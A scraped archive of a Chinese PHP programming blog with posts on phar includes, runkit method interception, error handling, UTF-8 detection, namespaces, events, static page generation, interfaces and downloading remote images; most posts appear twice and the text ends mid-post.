include了那个phar文件以后才可以用
include "phar://......"这种形式。
弄了半天一直没搞成,昨天晚上终于成功了。弄明白了几点:
首先,phar不是tar压缩文件,可以用那个creator生成。
用的时候先要直接include那个phar文件。
每个phar文件里面必须有一个index.php。
include了那个phar文件以后才可以用
include "phar://......"这种形式。
php下AOP的一个实现办法
由于php不能动态修改类和对象的方法,实现aop就变得很困难。网上看到过用__get, __set, __call来实现的办法。这个我以前也想过。但这种办法也有很大的缺点。如果能够用 runkit 扩展,就好很多了。下面是个用 runkit 来实现方法调用拦截的例子。
class Target {
function add($a, $b){
echo $a + $b."\n";
}
}
runkit_method_rename('Target', 'add', '#add');
例:
runkit_method_add('Target','add','$a,$b','
echo "before call\n";
$ret = $this->{"#add"}($a,$b);
echo "after call\n";
return $ret;
');
$t = new Target;
$t->add(1, 3);
runkit Functions
class Target {
function add($a, $b){
echo $a + $b."\n";
}
}
runkit_method_rename('Target', 'add', '#add');
例:
runkit_method_add('Target','add','$a,$b','
echo "before call\n";
$ret = $this->{"#add"}($a,$b);
echo "after call\n";
return $ret;
');
$t = new Target;
$t->add(1, 3);
runkit Functions
php错误处理类
PHP 的 try - catch 总有很多东西抓不住。我还是自己写了一个。
/**
* 错误处理类
*
* 用法:
* ErrorHandler::begin();
* //要捕获错误的代码
* $errors = ErrorHandler::end();
* 可以嵌套使用。
*
* 本类只捕获错误,不捕获异常。如需捕获异常,请使用try-catch。
*
*
* @author XieZhenye
*/
class ErrorHandler{
private static $error = array();
function begin(){
set_error_handler(array(__CLASS__, '_errorHandler'));
array_push(self::$error, array());
}
function _errorHandler($errno, $errstr, $errfile, $errline){
if($errno == E_STRICT)
return;
$errInfo = array('errno'=>$errno, 'errstr'=>$errstr,
'errfile'=>$errfile, 'errline'=>$errline);
array_push(self::$error[count(self::$error)-1], $errInfo);
}
function end(){
restore_error_handler();
$ret = end(self::$error);
array_pop(self::$error);
return $ret;
}
}
?>
/**
* 错误处理类
*
* 用法:
* ErrorHandler::begin();
* //要捕获错误的代码
* $errors = ErrorHandler::end();
* 可以嵌套使用。
*
* 本类只捕获错误,不捕获异常。如需捕获异常,请使用try-catch。
*
*
* @author XieZhenye
*/
class ErrorHandler{
private static $error = array();
function begin(){
set_error_handler(array(__CLASS__, '_errorHandler'));
array_push(self::$error, array());
}
function _errorHandler($errno, $errstr, $errfile, $errline){
if($errno == E_STRICT)
return;
$errInfo = array('errno'=>$errno, 'errstr'=>$errstr,
'errfile'=>$errfile, 'errline'=>$errline);
array_push(self::$error[count(self::$error)-1], $errInfo);
}
function end(){
restore_error_handler();
$ret = end(self::$error);
array_pop(self::$error);
return $ret;
}
}
?>
用PHP检测字符串是否是utf8编码
给一个字符串,怎么判断它是什么编码呢?php有一个函数:mb_detect_encoding。不过这个东西需要有mb_string库,不是到处都能用的。
function is_utf8($string) {
// From http://w3.org/International/questions/qa-forms-utf-8.html
return preg_match('%^(?:
[\x09\x0A\x0D\x20-\x7E] # ASCII
| [\xC2-\xDF][\x80-\xBF] # non-overlong 2-byte
| \xE0[\xA0-\xBF][\x80-\xBF] # excluding overlongs
| [\xE1-\xEC\xEE\xEF][\x80-\xBF]{2} # straight 3-byte
| \xED[\x80-\x9F][\x80-\xBF] # excluding surrogates
| \xF0[\x90-\xBF][\x80-\xBF]{2} # planes 1-3
| [\xF1-\xF3][\x80-\xBF]{3} # planes 4-15
| \xF4[\x80-\x8F][\x80-\xBF]{2} # plane 16
)*$%xs', $string);
}
准确率基本和mb_detect_encoding一样,要对一起对,要错一起错。
编码检测不可能100%准确,这个东西已经可以基本满足要求了。
function is_utf8($string) {
// From http://w3.org/International/questions/qa-forms-utf-8.html
return preg_match('%^(?:
[\x09\x0A\x0D\x20-\x7E] # ASCII
| [\xC2-\xDF][\x80-\xBF] # non-overlong 2-byte
| \xE0[\xA0-\xBF][\x80-\xBF] # excluding overlongs
| [\xE1-\xEC\xEE\xEF][\x80-\xBF]{2} # straight 3-byte
| \xED[\x80-\x9F][\x80-\xBF] # excluding surrogates
| \xF0[\x90-\xBF][\x80-\xBF]{2} # planes 1-3
| [\xF1-\xF3][\x80-\xBF]{3} # planes 4-15
| \xF4[\x80-\x8F][\x80-\xBF]{2} # plane 16
)*$%xs', $string);
}
准确率基本和mb_detect_encoding一样,要对一起对,要错一起错。
编码检测不可能100%准确,这个东西已经可以基本满足要求了。
标签:
mb_detect_encoding,
mb_string,
PHP
PHP筛法找质数
下面的程序会找出 1000000 以内的所有质数。
define('MAX_NUM', 1000000);
$all = array_fill(0,MAX_NUM,0);
for ($i = 2; $i < MAX_NUM; $i++) {
if ($all[$i] == 0) {
echo $i,"\n"; //测试性能时去掉这行。输出会占据大部分时间。
for ($j = $i; $j < MAX_NUM; $j+=$i) {
$all[$j] = 1;
}
}
}
补充:
array_fill() 用 value 参数的值将一个数组填充 num 个条目,键名由 start_index 参数指定的开始。注意 num 必须是一个大于零的数值,否则 PHP 会发出一条警告。
define('MAX_NUM', 1000000);
$all = array_fill(0,MAX_NUM,0);
for ($i = 2; $i < MAX_NUM; $i++) {
if ($all[$i] == 0) {
echo $i,"\n"; //测试性能时去掉这行。输出会占据大部分时间。
for ($j = $i; $j < MAX_NUM; $j+=$i) {
$all[$j] = 1;
}
}
}
补充:
array_fill() 用 value 参数的值将一个数组填充 num 个条目,键名由 start_index 参数指定的开始。注意 num 必须是一个大于零的数值,否则 PHP 会发出一条警告。
PHP6的namespace[命名空间]
php是否需要namespace已经争论了很久。我是很希望php有namespace或类似的东西的。对于发布类库框架,或者构建大的程序来说是很重要的。可以避免类名和函数名冲突,又不用像Pear里那样把类名弄得老长。当初php5的测试版曾经出现过,后来正式发布时又取消了,让我空欢喜一场。7月初,php6的snap里又加入了namespace,希望这次不要再让我空欢喜了。
这次的namespace实现和当初的实现有所不同,更接近于C++的语法。
声明namespace时在文件里加上例如
namespace blogbus::test;
function foo(){
echo "foo";
}
class Test{
function bar(){
echo "bar";
}
}
该文件中的类和函数:foo,Test就属于blogbus::test的命名空间。在其他文件包含该文件后,可以用 blogbus::test::foo()来调用函数,用blogbus::test::Test来使用类。如果只是这样的话那打字还是很麻烦的。所以可以使用
import blogbus::test::Test;
之后就可以直接用Test了。也可以
import blogbus;
之后可以用test::Test来使用。可惜目前的实现没有类似Java的import xxx.*; 或是python的from xxx import *;这样的语法。要导入许多东西的时候还是有些麻烦。
既然namespace是为了解决命名冲突的问题,那么使用import来节省打字,保护键盘的时候还是需要避免import进来的东西和原有的东西重名的问题。所以import还可以这样用:import blogbus::test::Test as Blogbus。这时,就可以用Blogbus这个名字来使用blogbus::test::Test。你可以$test = new Blogbus();然后echo get_class($test);看看结果,会发现输出的仍然是blogbus::test::Test。
这次的namespace实现和当初的实现有所不同,更接近于C++的语法。
声明namespace时在文件里加上例如
namespace blogbus::test;
function foo(){
echo "foo";
}
class Test{
function bar(){
echo "bar";
}
}
该文件中的类和函数:foo,Test就属于blogbus::test的命名空间。在其他文件包含该文件后,可以用 blogbus::test::foo()来调用函数,用blogbus::test::Test来使用类。如果只是这样的话那打字还是很麻烦的。所以可以使用
import blogbus::test::Test;
之后就可以直接用Test了。也可以
import blogbus;
之后可以用test::Test来使用。可惜目前的实现没有类似Java的import xxx.*; 或是python的from xxx import *;这样的语法。要导入许多东西的时候还是有些麻烦。
既然namespace是为了解决命名冲突的问题,那么使用import来节省打字,保护键盘的时候还是需要避免import进来的东西和原有的东西重名的问题。所以import还可以这样用:import blogbus::test::Test as Blogbus。这时,就可以用Blogbus这个名字来使用blogbus::test::Test。你可以$test = new Blogbus();然后echo get_class($test);看看结果,会发现输出的仍然是blogbus::test::Test。
用PHP实现的事件机制
内置了事件机制的语言不多,php也没有提供这样的功能。事件(Event)说简单了就是一个Observer模式,实现起来很容易。但是有所不同的是,事件的监听者谁都可以加,但是只能由直接包含它的对象触发。这就有一点点难度了。php有一个debug_backtrace函数,可以得到当前的调用栈,由此可以找到判断调用事件触发函数的对象是不是直接包含它的对象的办法。
class Event {
private $callbacks = array();
private $holder;
function __construct() {
$bt = debug_backtrace();
if (count($bt) < 2) {
$this->holder = null;
return;
}
$this->holder = &$bt[1]['object'];
}
function attach() {
$args = func_get_args();
switch (count($args)) {
case 1:
if (is_callable($args[0])) {
$this->callbacks[]= $args[0];
return;
}
break;
case 2:
if (is_object($args[0]) && is_string($args[1])) {
$this->callbacks[]= array(&$args[0], $args[1]);
}
return;
default:
return;
}
}
function notify() {
$bt = debug_backtrace();
if ($this->holder &&
((count($bt) >= 2 && $bt[count($bt) - 1]['object'] !== $this->holder)
|| (count($bt) < 2))) {
throw(new Exception('Notify can only be called in holder'));
}
foreach ($this->callbacks as $callback) {
$args = func_get_args();
call_user_func_array($callback, $args);
}
}
}
class Event {
private $callbacks = array();
private $holder;
function __construct() {
$bt = debug_backtrace();
if (count($bt) < 2) {
$this->holder = null;
return;
}
$this->holder = &$bt[1]['object'];
}
function attach() {
$args = func_get_args();
switch (count($args)) {
case 1:
if (is_callable($args[0])) {
$this->callbacks[]= $args[0];
return;
}
break;
case 2:
if (is_object($args[0]) && is_string($args[1])) {
$this->callbacks[]= array(&$args[0], $args[1]);
}
return;
default:
return;
}
}
function notify() {
$bt = debug_backtrace();
if ($this->holder &&
((count($bt) >= 2 && $bt[count($bt) - 1]['object'] !== $this->holder)
|| (count($bt) < 2))) {
throw(new Exception('Notify can only be called in holder'));
}
foreach ($this->callbacks as $callback) {
$args = func_get_args();
call_user_func_array($callback, $args);
}
}
}
PHP生成静态页的方法
近作的一个项目中用到了两种用PHP生成静态页面的方法,回想起当初自己还不知道如何生成静态页面的迷惘,以及看不懂高手写的文章的痛苦,觉得自己有必要站出来为还不知道如何生成静态页的phper写一个通俗点文章,以帮助他们尽快掌握这个好东西。
在我之前所见的文章中要不是用代码堆砌空间就是用高手与高手交流用的语言让新人望而生却。因此本文尽量把整体思路说得详尽点。
两种方法简单说明如下:
1.使用文件函数得到静态页面的模板字符串,然后用str_replace函数将需要替换的东西替换了再写入到新的文件中。
2. 利用PHP的输出控制函数(Output Control)得到静态页面字符串,再写入到新的文件中。
下面开始详细的说明。
一.利用模板生成
什么是模板?如果大家使用过Dreamwerver中的“另存为模板”就应该知道模板是用来统一风格的东西。它只让你修改页面的某一部分,当然这“某一部分”是由你来确定的。本文在这说的模板也就是这个意思。(此外,PHP模板技术还包括phplib、smarty等等,这不是本文所说内容了)
把模板的概念结合本文再说得具体一点就是:美工先做好一个页面,然后我们把这个页面当作模板(要注意的是这个模板就没必要使用EditRegion3这样的代码了,这种代码是Dreamwerver为了方便自己设计而弄的标识),把这个模板中我们需要改变的地方用一个与HTML可以区分的字符代替,如“{title}”、“[title]”。在生成静态页面的时候只需要把数据和这些字符串替换即可。这就是模板的含义了。
下面来说一下具体的实现思路:做一个模板──在模板里面把需要改变的地方用特殊的字符代替──将模板中的内容取出来存放到一个字符串中(这个字符串的内容就是HTML代码和上面所说的特殊字符了)──使用函数将这个字符串里面的特殊字符用我们需要在页面上显示的内容替换──把替换后的字符串写到一个新的.htm页面里面──成功了!
功能的实现离不开PHP函数的帮忙。知道整体思路后最重要的就是去手册里面找相关的函数了。
首先,我们要把模板里面的HTML代码取出来放到一个变量中去,这个变量的值就是包含HTML的字符串了。我们可以使用string fread ( int handle, int length )函数来实现,仔细一看里面的参数“handle”是一个文件指针,这意味着我们得先把模板文件打开(PHP这一点相当麻烦,难道它就不能弄得一步到位吗!!!)。好,我们继续找能把文件打开的函数:resource fopen ( string filename, string mode [, bool use_include_path [, resource zcontext]] ),在这里我们只要传入前两个参数就可以了,第一个参数就是文件名字了,记得路径不要弄错;第二个参数建议使用“rb”,“r”代表只读方式打开,并将文件指针指向文件头,“b” 是指强制使用二进制模式,手册中建议:为移植性考虑,强烈建议在用 fopen() 打开文件时总是使用 'b' 标记。
在这一步我们的代码可以这样写:
$filemodel="template/it.php"; #模板地址
$file=fopen($filemodel,"rb"); #打开模板,得到文件指针
$temp=fread($file,filesize($filemodel)); #得到模板文件html代码
?>
提醒一下:如果你只是想将一个文件的内容读入到一个字符串中,用 file_get_contents(),它的性能比fread()的代码好得多(这是手册上的原话,不过这个函数是在PHP5中支持的)。
第二步,使用str_replace()函数将得到的文件字符替换相关内容,替换的方法就是把从数据库中取出的内容或通过表单的得到的数据把模板中的特殊字符替换了。这一步很简单,也许刚开始想不明白,但是一看代码就一目了然了:
$temp=str_replace("[title]",$title,$temp);
?>
上面的“"[title]"”就是模板文件中的特殊字符(是[title],不是”[title]”),“$title”就是我们想在页面上显示的内容,“$temp”就是模板文件html代码了。
如果还需要替换,则继续使用str_replace()函数就可以了,如:
$temp=str_replace("[postTime]",$postTime,$temp);
$temp=str_replace("[content]",$content,$temp);
?>
第三步,也就是第一步的反操作了:要把之前处理过的模板字符串写入另一个文件中去,而这个文件就是我们最终可以对外显示的页面。现在重复类似第一步的二部曲:打开文件,写入文件:
fwrite(fopen("$filename","wb"),$temp); #$filename是静态页面的文件名
?>
fwrite的作用就是把字符串的内容写入文件中去了。
同样,也可以使用file_put_contents函数写文件,但记得是在PHP5中。
这样,我们就可以用模板生成静态页面了。
二.利用输出控制函数(Output Control)生成静态页面
这个与用模板生成的相比相对高级一点,但一旦明白了它的实现思路,却是简单无比,所谓会者不难,难者不会大概就是这么一回事吧。
这种方法比模板生成的方法应用面更大。使用模板生成方法一般用于发表或修改文章时使用,这样的话数据库可以直接从表单得到,就无须通过数据库了。当如果需要从数据库取出数据,并且替换的东西比较多,更或者你需要的页面并不仅仅是通过简单的替换就能得到的,比如说站点的首页。这时,就有必要考虑使用输出控制函数了。
输出控制函数的作用是设置缓冲区,在缓冲区里面输出的内容可以被获得。获得输出内容整个过程只需要使用三个函数便可以了:ob_start()、ob_get_contents()、ob_end_clean()
方法思路如下:设置缓冲区起点(或设置输出内容的起点)──释放内容──取得内容──清空缓冲区──把取得的内容写如文件。
相关函数说明如下:
1、ob_start :打开输出缓冲区
函数格式:void ob_start(void)
说明:当缓冲区激活时,所有来自PHP程序的非文件头信息均不会发送,而是保存在内部缓冲区。
为了输出缓冲区的内容,可以使用ob_end_flush()或flush()输出缓冲区的内容。
2 、ob_get_contents :返回内部缓冲区的内容。
使用方法:string ob_get_contents(void)
说明:这个函数会返回当前缓冲区中的内容,如果输出缓冲区没有激活,则返回 FALSE 。
3、ob_end_clean:删除内部缓冲区的内容,并且关闭内部缓冲区
使用方法:void ob_end_clean(void)
说明:这个函数不会输出内部缓冲区的内容而是把它删除!
精彩开始了,看看我们是如何利用输出缓冲生成静态页面的:
我们用函数来实现吧!
function createStaticPage($sourcePage,$objectPage)#来源文件,目标文件
{
#得到两个参数,一个是来源文件地址,一个是需要生成的静态页面地址
global $db; #数据库连接用的,在$sourcePage中需要用到
ob_start(); #打开缓冲区,相当于做了一个用来存放东西的箱子
include $sourcePage; #在缓冲区中释放页面,从这个代码中应该可以明白一点:那就是$sourcePage页面单独查看的时候,它是可以显示的!这是关键之所在,如果后面不加 ob_end_clean()函数,那在执行程序的时候你看见$sourcePage页面的内容。
$cons=ob_get_contents(); #得到缓冲区中的内容,这里的内容就是HTML代码!这相当于把箱子里面的东西转给了一个人!
ob_end_clean(); #清除缓冲区的内容,把箱子里面的东西转给他人后,打扫卫生,不打扫卫生的后果是让他人可以看见箱子的东西,也即可以看见$sourcePage页面的内容
$fp=fopen($objectPage,"wb") or die("静态生成时打开文件".$objectPage."时出错");
fwrite($fp,$cons); #把HTML代码写入静态文件中!
fclose($fp);
return true;
}
?>
总结:
1. 两种方法都有把内容写入你要生成的静态页面中的一步。
2.当可以使用第一种方法时就使用第一种方法,因为第二种方法要通过数据库调内容并显示(也可以说是隐藏了显示的内容,但事实上$sourcePage里的程序是执行的)的过程。
3.具体情况其他分析,在使用模板生成时由于可能直接使用表单提交的内容,所以需要过滤之类的检查。
在我之前所见的文章中要不是用代码堆砌空间就是用高手与高手交流用的语言让新人望而生却。因此本文尽量把整体思路说得详尽点。
两种方法简单说明如下:
1.使用文件函数得到静态页面的模板字符串,然后用str_replace函数将需要替换的东西替换了再写入到新的文件中。
2. 利用PHP的输出控制函数(Output Control)得到静态页面字符串,再写入到新的文件中。
下面开始详细的说明。
一.利用模板生成
什么是模板?如果大家使用过Dreamwerver中的“另存为模板”就应该知道模板是用来统一风格的东西。它只让你修改页面的某一部分,当然这“某一部分”是由你来确定的。本文在这说的模板也就是这个意思。(此外,PHP模板技术还包括phplib、smarty等等,这不是本文所说内容了)
把模板的概念结合本文再说得具体一点就是:美工先做好一个页面,然后我们把这个页面当作模板(要注意的是这个模板就没必要使用EditRegion3这样的代码了,这种代码是Dreamwerver为了方便自己设计而弄的标识),把这个模板中我们需要改变的地方用一个与HTML可以区分的字符代替,如“{title}”、“[title]”。在生成静态页面的时候只需要把数据和这些字符串替换即可。这就是模板的含义了。
下面来说一下具体的实现思路:做一个模板──在模板里面把需要改变的地方用特殊的字符代替──将模板中的内容取出来存放到一个字符串中(这个字符串的内容就是HTML代码和上面所说的特殊字符了)──使用函数将这个字符串里面的特殊字符用我们需要在页面上显示的内容替换──把替换后的字符串写到一个新的.htm页面里面──成功了!
功能的实现离不开PHP函数的帮忙。知道整体思路后最重要的就是去手册里面找相关的函数了。
首先,我们要把模板里面的HTML代码取出来放到一个变量中去,这个变量的值就是包含HTML的字符串了。我们可以使用string fread ( int handle, int length )函数来实现,仔细一看里面的参数“handle”是一个文件指针,这意味着我们得先把模板文件打开(PHP这一点相当麻烦,难道它就不能弄得一步到位吗!!!)。好,我们继续找能把文件打开的函数:resource fopen ( string filename, string mode [, bool use_include_path [, resource zcontext]] ),在这里我们只要传入前两个参数就可以了,第一个参数就是文件名字了,记得路径不要弄错;第二个参数建议使用“rb”,“r”代表只读方式打开,并将文件指针指向文件头,“b” 是指强制使用二进制模式,手册中建议:为移植性考虑,强烈建议在用 fopen() 打开文件时总是使用 'b' 标记。
在这一步我们的代码可以这样写:
$filemodel="template/it.php"; #模板地址
$file=fopen($filemodel,"rb"); #打开模板,得到文件指针
$temp=fread($file,filesize($filemodel)); #得到模板文件html代码
?>
提醒一下:如果你只是想将一个文件的内容读入到一个字符串中,用 file_get_contents(),它的性能比fread()的代码好得多(这是手册上的原话,不过这个函数是在PHP5中支持的)。
第二步,使用str_replace()函数将得到的文件字符替换相关内容,替换的方法就是把从数据库中取出的内容或通过表单的得到的数据把模板中的特殊字符替换了。这一步很简单,也许刚开始想不明白,但是一看代码就一目了然了:
$temp=str_replace("[title]",$title,$temp);
?>
上面的“"[title]"”就是模板文件中的特殊字符(是[title],不是”[title]”),“$title”就是我们想在页面上显示的内容,“$temp”就是模板文件html代码了。
如果还需要替换,则继续使用str_replace()函数就可以了,如:
$temp=str_replace("[postTime]",$postTime,$temp);
$temp=str_replace("[content]",$content,$temp);
?>
第三步,也就是第一步的反操作了:要把之前处理过的模板字符串写入另一个文件中去,而这个文件就是我们最终可以对外显示的页面。现在重复类似第一步的二部曲:打开文件,写入文件:
fwrite(fopen("$filename","wb"),$temp); #$filename是静态页面的文件名
?>
fwrite的作用就是把字符串的内容写入文件中去了。
同样,也可以使用file_put_contents函数写文件,但记得是在PHP5中。
这样,我们就可以用模板生成静态页面了。
二.利用输出控制函数(Output Control)生成静态页面
这个与用模板生成的相比相对高级一点,但一旦明白了它的实现思路,却是简单无比,所谓会者不难,难者不会大概就是这么一回事吧。
这种方法比模板生成的方法应用面更大。使用模板生成方法一般用于发表或修改文章时使用,这样的话数据库可以直接从表单得到,就无须通过数据库了。当如果需要从数据库取出数据,并且替换的东西比较多,更或者你需要的页面并不仅仅是通过简单的替换就能得到的,比如说站点的首页。这时,就有必要考虑使用输出控制函数了。
输出控制函数的作用是设置缓冲区,在缓冲区里面输出的内容可以被获得。获得输出内容整个过程只需要使用三个函数便可以了:ob_start()、ob_get_contents()、ob_end_clean()
方法思路如下:设置缓冲区起点(或设置输出内容的起点)──释放内容──取得内容──清空缓冲区──把取得的内容写如文件。
相关函数说明如下:
1、ob_start :打开输出缓冲区
函数格式:void ob_start(void)
说明:当缓冲区激活时,所有来自PHP程序的非文件头信息均不会发送,而是保存在内部缓冲区。
为了输出缓冲区的内容,可以使用ob_end_flush()或flush()输出缓冲区的内容。
2 、ob_get_contents :返回内部缓冲区的内容。
使用方法:string ob_get_contents(void)
说明:这个函数会返回当前缓冲区中的内容,如果输出缓冲区没有激活,则返回 FALSE 。
3、ob_end_clean:删除内部缓冲区的内容,并且关闭内部缓冲区
使用方法:void ob_end_clean(void)
说明:这个函数不会输出内部缓冲区的内容而是把它删除!
精彩开始了,看看我们是如何利用输出缓冲生成静态页面的:
我们用函数来实现吧!
function createStaticPage($sourcePage,$objectPage)#来源文件,目标文件
{
#得到两个参数,一个是来源文件地址,一个是需要生成的静态页面地址
global $db; #数据库连接用的,在$sourcePage中需要用到
ob_start(); #打开缓冲区,相当于做了一个用来存放东西的箱子
include $sourcePage; #在缓冲区中释放页面,从这个代码中应该可以明白一点:那就是$sourcePage页面单独查看的时候,它是可以显示的!这是关键之所在,如果后面不加 ob_end_clean()函数,那在执行程序的时候你看见$sourcePage页面的内容。
$cons=ob_get_contents(); #得到缓冲区中的内容,这里的内容就是HTML代码!这相当于把箱子里面的东西转给了一个人!
ob_end_clean(); #清除缓冲区的内容,把箱子里面的东西转给他人后,打扫卫生,不打扫卫生的后果是让他人可以看见箱子的东西,也即可以看见$sourcePage页面的内容
$fp=fopen($objectPage,"wb") or die("静态生成时打开文件".$objectPage."时出错");
fwrite($fp,$cons); #把HTML代码写入静态文件中!
fclose($fp);
return true;
}
?>
总结:
1. 两种方法都有把内容写入你要生成的静态页面中的一步。
2.当可以使用第一种方法时就使用第一种方法,因为第二种方法要通过数据库调内容并显示(也可以说是隐藏了显示的内容,但事实上$sourcePage里的程序是执行的)的过程。
3.具体情况其他分析,在使用模板生成时由于可能直接使用表单提交的内容,所以需要过滤之类的检查。
2008年11月5日星期三
php实现一个堆
堆(heap)是一个很有用的数据结构。堆可以用于实现优先队列。比如一个任务队列,其中中有很多任务,而且不断有新的加进来。要求每次找到其中优先级 最高的那个来处理。如果每添加一个就要排序一次的话开销是很大的,时间复杂度为O(nlogn),但实际上我们要的只是其中最大的那个,因此完全没有必要 全部排序。堆这种数据结构保证了堆顶的元素始终是最大的。而且每添加一个新元素,或者弹出堆顶元素的时间复杂度仅为O(logn)。即使是有40亿个元 素,也最多需要交换32次。排序树(比如二叉搜索树)插入删除的复杂度虽然也是O(logn),但堆算法更简单,常系数也更小。同时,堆可以放在一个扁平 的数组中,不用额外的指针来维护结构,所使用的空间也更少。
[下载代码]
[下载代码]
PHP中Interface解析
话说当年,php5诞生的时候,向java,c++学了好多面向对象的语法元素。其中就有interface。在java圈子里,主流的观念是要面向接口编程而不是面向类编程,将接口与实现分离。记得在Spring in Action的例子里,要创建一个骑士对象,首先写一个Knight接口,里面定义了骑士可以做什么。具体怎么做则是在类KnightImpl里实现的。看上去似乎有一点麻烦。不过java大牛们教育我们,这是为了更好的灵活性。这样使用骑士的时候不用关心这是个什么样的骑士,而且可以在不修改代码,只修改工厂的配置文件,就可以用另一个实现来替换现有的实现。更寻常的说法是,比如Map接口,通常我们使用一个映射表的时候只要能够满足键值对应的操作就行。我们可以根据具体需要选用哈希表实现或是查找树实现,甚至自己定义一个存放在数据库中的Map。简单的说,接口定义了一组操作,实现了某个接口的对象也就能提供这个接口规定的一组操作。接口就像是一个协议或者说一个标准。这么说来,interface应该是一个好东西,似乎是面向接口编程所必不可少的,interface不就是接口的英文词么。那这篇文章的题目又是怎么回事呢?
还是拿例子说话。
interface Computer{
function add($a, $b);
function minus($a, $b);
....
}
class Mainframe implements Computer{
function add($a, $b){
//...
}
function minus($a, $b){
//...
}
}
class Calculator implements Computer{
function add($a, $b){
//...
}
function minus($a, $b){
//...
}
}
不管是大型机还是小计算器,都可以算加减法。想要算加法的时候只要拿一个实现了Computer接口的东西就行。比如
function doAdd(Computer $c, $a, $b){
return $c->add($a, $b);
}
看起来不错。不过能算加减法的不仅仅是那些用电的东西。我国古代劳动人民的智慧结晶——算盘也能算加法。那么如果要拿算盘算加法,就要有一个算盘类。那这个算盘类该不该实现Computer接口呢?这个算盘似乎也算不上是一个计算机啊。或许该另外建立一个Calculatable的接口,让计算机和算盘都去实现这个接口,这样似乎就不错了。有时候我们只需要用到Calculatable的一部分功能。比如Calculatable定义了基本的加减乘除,但我们买菜算账的时候通常只需要加法。这时候如果用Calculatable的话就需要接受一些无用的东西。再用一个php的SPL里的例子。SPL里有一个 ArrayAccess接口,可以让对象像数组一样用下标去访问。这是一个很有意思的语法糖。不过有时候只需要按下标读功能就可以了,但是为了要满足规定,还是要把ArrayAccess接口的所有方法都实现一遍,于是就要写好几个throw new Exception('xxx is not writable');之类的东西。这实在有点罗嗦。
为什么不换一个写法呢?扔掉那些interface,直接写
class Mainframe{
function add($a, $b){
//...
}
function minus($a, $b){
//...
}
}
class Calculator{
function add($a, $b){
//...
}
function minus($a, $b){
//...
}
}
class Abacus{
function add($a, $b){
//...
}
function minus($a, $b){
//...
}
}
在需要计算的时候,也不用限定一定要是Computer,把对象直接扔过去。
function doAdd($c, $a, $b){
return $c->add($a, $b);
}
如果在试图在一个不能算加法的东西比如易拉罐上执行add,解释器自然会报错。也就是说,只有满足接口的对象才能够正常运行。你看,不用interface一样可以实现面向接口编程,而且更加灵活。
不用interface搞面向接口编程这听起来还是有点玄乎。毕竟这个interface就是接口的英文单词啊。好吧,interface确实是英文单词,但并不代表interface这个语法元素就等价于接口。就好像把狗的尾巴也叫做腿,这狗也不是就有了五条腿。interface只是叫了这个名字而已。当然,interface在一定程度上也为面向接口编程提供了方便,比如提供了编译期的检查。而且对于强类型语言来说,这样的语法元素是很重要的,比如java。而对于弱类型语言,比如php,却不是必须的。而对于一些更动态的语言,比如python,ruby来说,更是很难相容的。
还是拿例子说话。
interface Computer{
function add($a, $b);
function minus($a, $b);
....
}
class Mainframe implements Computer{
function add($a, $b){
//...
}
function minus($a, $b){
//...
}
}
class Calculator implements Computer{
function add($a, $b){
//...
}
function minus($a, $b){
//...
}
}
不管是大型机还是小计算器,都可以算加减法。想要算加法的时候只要拿一个实现了Computer接口的东西就行。比如
function doAdd(Computer $c, $a, $b){
return $c->add($a, $b);
}
看起来不错。不过能算加减法的不仅仅是那些用电的东西。我国古代劳动人民的智慧结晶——算盘也能算加法。那么如果要拿算盘算加法,就要有一个算盘类。那这个算盘类该不该实现Computer接口呢?这个算盘似乎也算不上是一个计算机啊。或许该另外建立一个Calculatable的接口,让计算机和算盘都去实现这个接口,这样似乎就不错了。有时候我们只需要用到Calculatable的一部分功能。比如Calculatable定义了基本的加减乘除,但我们买菜算账的时候通常只需要加法。这时候如果用Calculatable的话就需要接受一些无用的东西。再用一个php的SPL里的例子。SPL里有一个 ArrayAccess接口,可以让对象像数组一样用下标去访问。这是一个很有意思的语法糖。不过有时候只需要按下标读功能就可以了,但是为了要满足规定,还是要把ArrayAccess接口的所有方法都实现一遍,于是就要写好几个throw new Exception('xxx is not writable');之类的东西。这实在有点罗嗦。
为什么不换一个写法呢?扔掉那些interface,直接写
class Mainframe{
function add($a, $b){
//...
}
function minus($a, $b){
//...
}
}
class Calculator{
function add($a, $b){
//...
}
function minus($a, $b){
//...
}
}
class Abacus{
function add($a, $b){
//...
}
function minus($a, $b){
//...
}
}
在需要计算的时候,也不用限定一定要是Computer,把对象直接扔过去。
function doAdd($c, $a, $b){
return $c->add($a, $b);
}
如果在试图在一个不能算加法的东西比如易拉罐上执行add,解释器自然会报错。也就是说,只有满足接口的对象才能够正常运行。你看,不用interface一样可以实现面向接口编程,而且更加灵活。
不用interface搞面向接口编程这听起来还是有点玄乎。毕竟这个interface就是接口的英文单词啊。好吧,interface确实是英文单词,但并不代表interface这个语法元素就等价于接口。就好像把狗的尾巴也叫做腿,这狗也不是就有了五条腿。interface只是叫了这个名字而已。当然,interface在一定程度上也为面向接口编程提供了方便,比如提供了编译期的检查。而且对于强类型语言来说,这样的语法元素是很重要的,比如java。而对于弱类型语言,比如php,却不是必须的。而对于一些更动态的语言,比如python,ruby来说,更是很难相容的。
保存远程图片到本地的办法
有些时候我们看到网络上有一些漂亮的图片,而又不想手动去保存下来,尤其是大量的这样的图片,那这个时候我们需要写一段程序来帮助我们完成这个工作。今天在整理资料的时候发现以前找到的一个函数,通过这个函数我们就可以实现上面的功能。
主要函数:
function GrabImage($url,$filename="") {
if($url=="") return false;
if($filename=="") {
$ext=strrchr($url,".");
if($ext!=".gif" && $ext!=".jpg" && $ext!=".png") return false;
$filename=date("YmdHis").$ext;
}
ob_start();
readfile($url);
$img = ob_get_contents();
ob_end_clean();
$size = strlen($img);
$fp2=@fopen($filename, "a");
fwrite($fp2,$img);
fclose($fp2);
return $filename;
}
获取一张图片的代码:
$img=GrabImage("http://www.google.com/intl/en_ALL/images/logo.gif","logo.gif");
if($img){
echo '
';
}else{
echo "false";
}
这是保存google的logo的例子,获取到的图片保存在同级目录下面。
获取一系列的有规律的图片(例如:以数字1-100命名的100张图片):
for ($i=1;$i<=100;$i++){
$img=GrabImage("http://www.yourimagesite.com/images/$i.gif","images/$i.gif");
}
上面的www.yourimagesite.com是图片的网址,需要自己修改,程序执行完后,所有的图片将会保存到images目录下面。
主要函数:
function GrabImage($url,$filename="") {
if($url=="") return false;
if($filename=="") {
$ext=strrchr($url,".");
if($ext!=".gif" && $ext!=".jpg" && $ext!=".png") return false;
$filename=date("YmdHis").$ext;
}
ob_start();
readfile($url);
$img = ob_get_contents();
ob_end_clean();
$size = strlen($img);
$fp2=@fopen($filename, "a");
fwrite($fp2,$img);
fclose($fp2);
return $filename;
}
获取一张图片的代码:
